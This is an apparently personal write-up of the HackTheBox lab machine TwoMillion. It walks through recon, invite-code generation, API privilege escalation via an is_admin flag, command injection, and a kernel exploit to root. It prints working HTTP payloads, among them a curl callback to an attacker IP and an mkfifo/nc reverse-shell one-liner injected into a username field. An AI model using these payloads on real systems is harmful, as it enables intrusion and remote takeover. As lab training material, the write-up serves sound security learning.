TwoMillion
- 🌐 Website: HackTheBox
- 🔥 Level: Easy
- 🖥️ OS: Linux
- 🔗 Link: TwoMillion
Reconnaissance¶
Initial Scan¶
First, I performed a basic Nmap scan to identify open ports:
Results: - Port 22 (SSH) - Port 80 (HTTP)Service Enumeration¶
Next, I ran a more detailed scan on the identified ports:
Findings: - SSH: OpenSSH 8.9p1 Ubuntu - HTTP: nginx serving a website that redirects tohttp://2million.htb/
I added 2million.htb
to my /etc/hosts
file to access the website properly.
Website Analysis¶
Homepage¶
The website resembled an old version of HackTheBox, featuring an invite code system. The invite code mechanism was implemented via JavaScript, which made a POST request to /api/v1/invite/verify
.
JavaScript Analysis¶
I discovered an obfuscated JavaScript file named inviteapi.min.js
. After deobfuscation, it revealed two key functions: 1. verifyInviteCode()
- Verifies invite codes 2. makeInviteCode()
- Generates invite codes
Generating an Invite Code¶
By making a POST request to /api/v1/invite/how/to/generate
, I received an encrypted response:
{
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
"enctype": "ROT13"
}
After decoding with ROT13:
Making this request yielded a Base64-encoded invite code:
Decoding this gave me a valid invite code: 9TB80-0HXJT-QGZB6-NAFSG
User Access¶
Registration and Login¶
Using the invite code, I registered an account and logged in. The site offered a VPN configuration download at /api/v1/user/vpn/generate
.
API Exploration¶
I examined the API endpoints at /api/v1
:
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
Privilege Escalation to Admin¶
I discovered I could modify my account settings via the /api/v1/admin/settings/update
endpoint. By sending a PUT request with is_admin=1
, I successfully elevated my privileges:
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Content-Type: application/json
Cookie: PHPSESSID=iefmb0mpso4mgcm5b9v709mqtt
{"email":"ciao@ciao.it","is_admin":1}
Command Injection¶
Admin VPN Generation¶
As an admin, I could use the /api/v1/admin/vpn/generate
endpoint. Testing for command injection:
POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Content-Type: application/json
Cookie: PHPSESSID=iefmb0mpso4mgcm5b9v709mqtt
{"username":"HackNSeek && curl http://10.10.15.8:9000/`whoami`"}

This successfully executed the command, confirming command injection vulnerability.
Reverse Shell¶
I established a reverse shell using:
POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Content-Type: application/json
Cookie: PHPSESSID=iefmb0mpso4mgcm5b9v709mqtt
{"username":"HackNSeek && rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.15.8 9001 >/tmp/f"}
Privilege Escalation to Root¶
Database Credentials¶
In the web directory, I found database credentials in .env
:
{
"DB_HOST": "127.0.0.1",
"DB_DATABASE": "htb_prod",
"DB_USERNAME": "admin",
"DB_PASSWORD": "SuperDuperPass123"
}
SSH Access¶
These credentials worked for SSH access as the admin
user:
Kernel Exploit¶
Checking mail, I found a hint about a kernel vulnerability:
The email mentioned "That one in OverlayFS / FUSE looks nasty," pointing to CVE-2023-0386.I downloaded and executed a public exploit:
This granted me root access, allowing me to read the root flag: